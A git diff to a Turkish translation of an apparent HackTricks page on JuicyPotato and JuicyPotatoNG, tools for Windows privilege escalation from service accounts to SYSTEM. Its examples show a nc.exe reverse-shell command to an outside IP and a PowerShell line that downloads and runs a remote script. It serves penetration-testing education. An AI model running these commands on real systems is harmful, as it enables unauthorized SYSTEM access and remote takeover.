diff --git a/src/windows-hardening/windows-local-privilege-escalation/juicypotato.md b/src/windows-hardening/windows-local-privilege-escalation/juicypotato.md index 38791cc11..5f40e8409 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/juicypotato.md +++ b/src/windows-hardening/windows-local-privilege-escalation/juicypotato.md @@ -2,54 +2,60 @@ {{#include ../../banners/hacktricks-training.md}} -> [!WARNING] > **JuicyPotato,** Windows Server 2019 ve Windows 10 build 1809 ve sonrasında **çalışmaz.** Ancak, [**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**,** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**,** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato) ile **aynı ayrıcalıkları kullanarak `NT AUTHORITY\SYSTEM`** düzeyinde erişim elde edebilirsiniz. _**Kontrol Et:**_ +> [!WARNING] > JuicyPotato artık eskidir. Genel olarak Windows 10 1803 / Windows Server 2016'ya kadar olan Windows sürümlerinde çalışır. Microsoft'un Windows 10 1809 / Server 2019 ve sonrasında yaptığı sertleştirmeler orijinal tekniği bozdu. Bu build'ler ve daha yenileri için PrintSpoofer, RoguePotato, SharpEfsPotato/EfsPotato, GodPotato ve benzeri modern alternatifleri düşünün. Güncel seçenekler ve kullanım için aşağıdaki sayfaya bakın. + {{#ref}} roguepotato-and-printspoofer.md {{#endref}} -## Juicy Potato (altın ayrıcalıkları kötüye kullanma) +## Juicy Potato (abusing the golden privileges) -_Biraz meyve suyu eklenmiş_ [_RottenPotatoNG_](https://github.com/breenmachine/RottenPotatoNG)_, yani **Windows Servis Hesaplarından NT AUTHORITY\SYSTEM'e başka bir Yerel Ayrıcalık Yükseltme aracı**_ +_A RottenPotatoNG'in biraz tatlandırılmış versiyonu_, biraz juice ile, yani **Windows Service Accounts'dan NT AUTHORITY\SYSTEM'e başka bir Local Privilege Escalation aracı** -#### Juicypotato'yu [https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts](https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts) adresinden indirebilirsiniz. +#### You can download juicypotato from [https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts](https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts) -### Özet +### Compatibility quick notes -[**juicy-potato Readme'den**](https://github.com/ohpe/juicy-potato/blob/master/README.md)**:** +- Mevcut bağlam SeImpersonatePrivilege veya SeAssignPrimaryTokenPrivilege'e sahipse Windows 10 1803 ve Windows Server 2016'ya kadar güvenilir şekilde çalışır. +- Windows 10 1809 / Windows Server 2019 ve sonrasında Microsoft'un sertleştirmeleri nedeniyle kırıldı. Bu build'ler için yukarıda bağlantısı verilen alternatifleri tercih edin. -[RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG) ve onun [varyantları](https://github.com/decoder-it/lonelypotato), [`BITS`]() [servisi](https://github.com/breenmachine/RottenPotatoNG/blob/4eefb0dd89decb9763f2bf52c7a067440a9ec1f0/RottenPotatoEXE/MSFRottenPotato/MSFRottenPotato.cpp#L126) üzerinden ayrıcalık yükseltme zincirini kullanır ve `127.0.0.1:6666` üzerinde MiTM dinleyicisi vardır ve `SeImpersonate` veya `SeAssignPrimaryToken` ayrıcalıklarına sahip olduğunuzda çalışır. Bir Windows build incelemesi sırasında, `BITS`'in kasıtlı olarak devre dışı bırakıldığı ve `6666` portunun alındığı bir yapı bulduk. +### Summary -[RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG)'yi silahlandırmaya karar verdik: **Juicy Potato'ya merhaba deyin.** +[**From juicy-potato Readme**](https://github.com/ohpe/juicy-potato/blob/master/README.md)**:** -> Teori için, [Rotten Potato - Servis Hesaplarından SYSTEM'e Ayrıcalık Yükseltme](https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/) adresine bakın ve bağlantılar ve referanslar zincirini takip edin. +[RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG) ve [varyantları](https://github.com/decoder-it/lonelypotato) `BITS` [service](https://github.com/breenmachine/RottenPotatoNG/blob/4eefb0dd89decb9763f2bf52c7a067440a9ec1f0/RottenPotatoEXE/MSFRottenPotato/MSFRottenPotato.cpp#L126) üzerinde MiTM dinleyicisi olarak `127.0.0.1:6666` kullanan ayrıcalık yükseltme zincirini kullanır ve SeImpersonate veya SeAssignPrimaryToken ayrıcalıklarına sahip olduğunuzda çalışır. Bir Windows build incelemesi sırasında `BITS`'in kasıtlı olarak devre dışı bırakıldığı ve 6666 portunun kullanılmış olduğu bir kurulum bulduk. -`BITS` dışında, kötüye kullanabileceğimiz birkaç COM sunucusu olduğunu keşfettik. Bunların sadece: +RottenPotatoNG'yi silahlandırmaya karar verdik: **Juicy Potato'a merhaba deyin**. -1. mevcut kullanıcı tarafından örneklendirilebilir olması, genellikle taklit ayrıcalıklarına sahip bir "servis kullanıcısı" -2. `IMarshal` arayüzünü uygulaması -3. yükseltilmiş bir kullanıcı (SYSTEM, Yönetici, ...) olarak çalışması gerekir. +> Teori için bkz. [Rotten Potato - Privilege Escalation from Service Accounts to SYSTEM](https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/) ve bağlantı zincirini takip edin. -Biraz test yaptıktan sonra, birkaç Windows sürümünde [ilginç CLSID'lerin](http://ohpe.it/juicy-potato/CLSID/) kapsamlı bir listesini elde ettik ve test ettik. +BITS dışında kötüye kullanabileceğimiz birkaç COM sunucusu olduğunu keşfettik. Bu sunucuların sadece şunlara ihtiyacı var: -### Juicy detaylar +1. mevcut kullanıcı tarafından örneklenebilir olmak; genellikle impersonation ayrıcalıklarına sahip bir "service user" +2. IMarshal arayüzünü uygulamak +3. yükseltilmiş bir kullanıcı olarak çalışmak (SYSTEM, Administrator, …) -JuicyPotato, size şunları yapma imkanı tanır: +Biraz test yaptıktan sonra çeşitli Windows sürümlerinde geniş ve ilginç bir [CLSID listesi](http://ohpe.it/juicy-potato/CLSID/) elde edip test ettik. -- **Hedef CLSID** _istediğiniz herhangi bir CLSID'yi seçin._ [_Burada_](http://ohpe.it/juicy-potato/CLSID/) _işletim sistemine göre düzenlenmiş listeyi bulabilirsiniz._ -- **COM Dinleme portu** _tercih ettiğiniz COM dinleme portunu tanımlayın (hardcoded 6666 yerine)_ -- **COM Dinleme IP adresi** _sunucuyu herhangi bir IP'ye bağlayın_ -- **İşlem oluşturma modu** _taklit edilen kullanıcının ayrıcalıklarına bağlı olarak şunlardan birini seçebilirsiniz:_ -- `CreateProcessWithToken` (gerektirir `SeImpersonate`) -- `CreateProcessAsUser` (gerektirir `SeAssignPrimaryToken`) -- `her ikisi` -- **Başlatılacak işlem** _sömürü başarılı olursa bir yürütülebilir dosya veya betik başlatın_ -- **İşlem Argümanı** _başlatılan işlem argümanlarını özelleştirin_ -- **RPC Sunucu adresi** _gizli bir yaklaşım için harici bir RPC sunucusuna kimlik doğrulaması yapabilirsiniz_ -- **RPC Sunucu portu** _harici bir sunucuya kimlik doğrulaması yapmak istiyorsanız ve güvenlik duvarı `135` portunu engelliyorsa…_ -- **TEST modu** _temelde test amaçlıdır, yani CLSID'leri test etmek için. DCOM oluşturur ve token kullanıcısını yazdırır. _[_test için buraya bakın_](http://ohpe.it/juicy-potato/Test/) +### Juicy details -### Kullanım +JuicyPotato size şunları sağlar: + +- **Target CLSID** _istediğiniz herhangi bir CLSID'i seçin._ [_Here_](http://ohpe.it/juicy-potato/CLSID/) _işletim sistemine göre düzenlenmiş listeyi bulabilirsiniz._ +- **COM Listening port** _tercih ettiğiniz COM dinleme portunu tanımlayın (marshalled sabit 6666 yerine)_ +- **COM Listening IP address** _sunucuyu herhangi bir IP'ye bağlayın_ +- **Process creation mode** _taklit edilen kullanıcının ayrıcalıklarına bağlı olarak şu seçeneklerden birini seçebilirsiniz:_ +- `CreateProcessWithToken` (needs `SeImpersonate`) +- `CreateProcessAsUser` (needs `SeAssignPrimaryToken`) +- `both` +- **Process to launch** _sömürme başarılı olursa bir executable veya script başlatın_ +- **Process Argument** _başlatılan sürecin argümanlarını özelleştirin_ +- **RPC Server address** _gizli bir yaklaşım için harici bir RPC sunucusuna kimlik doğrulaması yapabilirsiniz_ +- **RPC Server port** _harici bir sunucuya kimlik doğrulaması yapmak istiyorsanız ve firewall `135` portunu engelliyorsa faydalıdır…_ +- **TEST mode** _başlıca test amaçlı, örn. CLSID'leri test etmek için. DCOM'u oluşturur ve token kullanıcısını yazdırır. Test için bkz._ [_here for testing_](http://ohpe.it/juicy-potato/Test/) + +### Usage ``` T:\>JuicyPotato.exe JuicyPotato v0.1 @@ -70,19 +76,40 @@ Optional args: [**From juicy-potato Readme**](https://github.com/ohpe/juicy-potato/blob/master/README.md#final-thoughts)**:** -Eğer kullanıcının `SeImpersonate` veya `SeAssignPrimaryToken` ayrıcalıkları varsa, o zaman **SYSTEM**'siniz. +Kullanıcının `SeImpersonate` veya `SeAssignPrimaryToken` ayrıcalıkları varsa, o zaman siz **SYSTEM**'siniz. -Bu COM Sunucularının kötüye kullanımını önlemek neredeyse imkansızdır. Bu nesnelerin izinlerini `DCOMCNFG` aracılığıyla değiştirmeyi düşünebilirsiniz ama iyi şanslar, bu zorlayıcı olacak. +Bu COM sunucularının tümünün kötüye kullanılmasını önlemek neredeyse imkânsız. Bu nesnelerin izinlerini `DCOMCNFG` aracılığıyla değiştirmeyi düşünebilirsiniz ama iyi şanslar, bu zor olacak. -Gerçek çözüm, `* SERVICE` hesapları altında çalışan hassas hesapları ve uygulamaları korumaktır. `DCOM`'u durdurmak kesinlikle bu istismarı engelleyecektir ancak temel işletim sistemi üzerinde ciddi bir etki yaratabilir. +Gerçek çözüm, `* SERVICE` hesapları altında çalışan hassas hesapları ve uygulamaları korumaktır. `DCOM`'u durdurmak bu exploit'i kesinlikle engelleyecektir ama altında yatan işletim sistemi üzerinde ciddi etkileri olabilir. From: [http://ohpe.it/juicy-potato/](http://ohpe.it/juicy-potato/) -## Examples +## JuicyPotatoNG (2022+) -Note: Visit [this page](https://ohpe.it/juicy-potato/CLSID/) for a list of CLSIDs to try. +JuicyPotatoNG, modern Windows'ta JuicyPotato tarzı bir yerel ayrıcalık yükseltmesini şu öğeleri birleştirerek yeniden sunar: +- Seçilen bir portta yerel bir RPC sunucusuna DCOM OXID çözümlemesi, eski sabit kodlanmış 127.0.0.1:6666 listener'ından kaçınarak. +- Gelen SYSTEM kimlik doğrulamasını yakalayıp taklit etmek için bir SSPI hook'u; RpcImpersonateClient gerektirmeden çalışır ve bu aynı zamanda yalnızca SeAssignPrimaryTokenPrivilege mevcut olduğunda CreateProcessAsUser'i mümkün kılar. +- DCOM aktivasyon kısıtlamalarını karşılamak için hileler (ör. PrintNotify / ActiveX Installer Service sınıflarını hedef alırken önceki INTERACTIVE-group gereksinimi). -### Get a nc.exe reverse shell +Önemli notlar (sürümler arasında değişen davranış): +- September 2022: İlk teknik, desteklenen Windows 10/11 ve Server hedeflerinde “INTERACTIVE trick” kullanarak çalıştı. +- January 2023 update from the authors: Microsoft later blocked the INTERACTIVE trick. A different CLSID ({A9819296-E5B3-4E67-8226-5E72CE9E1FB7}) restores exploitation but only on Windows 11 / Server 2022 according to their post. + +Basic usage (more flags in the help): +``` +JuicyPotatoNG.exe -t * -p "C:\Windows\System32\cmd.exe" -a "/c whoami" +# Useful helpers: +# -b Bruteforce all CLSIDs (testing only; spawns many processes) +# -s Scan for a COM port not filtered by Windows Defender Firewall +# -i Interactive console (only with CreateProcessAsUser) +``` +Eğer hedefiniz klasik JuicyPotato'un yamalandığı Windows 10 1809 / Server 2019 ise, üstte bağlantısı verilen alternatifleri tercih edin (RoguePotato, PrintSpoofer, EfsPotato/GodPotato, vb.). NG, build ve servis durumuna bağlı olarak değişkenlik gösterebilir. + +## Örnekler + +Not: Denemek için CLSID listesi için [this page](https://ohpe.it/juicy-potato/CLSID/) ziyaret edin. + +### nc.exe ile reverse shell alın ``` c:\Users\Public>JuicyPotato -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c c:\users\public\desktop\nc.exe -e cmd.exe 10.10.10.12 443" -t * @@ -99,30 +126,29 @@ c:\Users\Public> ``` .\jp.exe -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.14.3:8080/ipst.ps1')" -t * ``` -### Yeni bir CMD başlatın (eğer RDP erişiminiz varsa) +### Yeni bir CMD başlatın (RDP erişiminiz varsa) ![](<../../images/image (300).png>) -## CLSID Problemleri +## CLSID Sorunları -Çoğu zaman, JuicyPotato'nun kullandığı varsayılan CLSID **çalışmaz** ve istismar başarısız olur. Genellikle, **çalışan bir CLSID** bulmak için birden fazla deneme yapmak gerekir. Belirli bir işletim sistemi için denemek üzere CLSID'lerin bir listesini almak için bu sayfayı ziyaret etmelisiniz: +Çoğu zaman JuicyPotato'nun kullandığı varsayılan CLSID **çalışmaz** ve exploit başarısız olur. Genellikle **çalışan bir CLSID** bulmak için birkaç deneme gerekir. Belirli bir işletim sistemi için denenebilecek CLSID'lerin listesini almak için şu sayfayı ziyaret etmelisiniz: -{{#ref}} -https://ohpe.it/juicy-potato/CLSID/ -{{#endref}} +- [https://ohpe.it/juicy-potato/CLSID/](https://ohpe.it/juicy-potato/CLSID/) ### **CLSID'leri Kontrol Etme** -Öncelikle, juicypotato.exe dışında bazı çalıştırılabilir dosyalara ihtiyacınız olacak. +İlk olarak, juicypotato.exe dışında birkaç yürütülebilir dosyaya ihtiyacınız olacak. -[Join-Object.ps1](https://github.com/ohpe/juicy-potato/blob/master/CLSID/utils/Join-Object.ps1) dosyasını indirin ve PS oturumunuza yükleyin, ardından [GetCLSID.ps1](https://github.com/ohpe/juicy-potato/blob/master/CLSID/GetCLSID.ps1) dosyasını indirin ve çalıştırın. Bu betik, test edilecek olası CLSID'lerin bir listesini oluşturacaktır. +Join-Object.ps1'i indirin ve PS oturumunuza yükleyin, ardından GetCLSID.ps1'i indirin ve çalıştırın. Bu script test etmek üzere olası CLSID'lerin bir listesini oluşturacaktır. -Ardından [test_clsid.bat](https://github.com/ohpe/juicy-potato/blob/master/Test/test_clsid.bat) dosyasını indirin (CLSID listesi ve juicypotato çalıştırılabilir dosyası için yolu değiştirin) ve çalıştırın. Her CLSID'yi denemeye başlayacak ve **port numarası değiştiğinde, CLSID'nin çalıştığı anlamına gelecektir**. +Sonra test_clsid.bat'i indirin (CLSID listesi ve juicypotato yürütülebilir dosyasının yolunu değiştirin) ve çalıştırın. Her CLSID'i denemeye başlayacak ve **port numarası değiştiğinde, CLSID'in çalıştığı anlamına gelir**. -**-c parametresini kullanarak** çalışan CLSID'leri **kontrol edin** +**-c parametresini** kullanarak çalışan CLSID'leri **kontrol edin** -## Referanslar +## Kaynaklar - [https://github.com/ohpe/juicy-potato/blob/master/README.md](https://github.com/ohpe/juicy-potato/blob/master/README.md) +- [Giving JuicyPotato a second chance: JuicyPotatoNG (decoder.it)](https://decoder.cloud/2022/09/21/giving-juicypotato-a-second-chance-juicypotatong/) {{#include ../../banners/hacktricks-training.md}}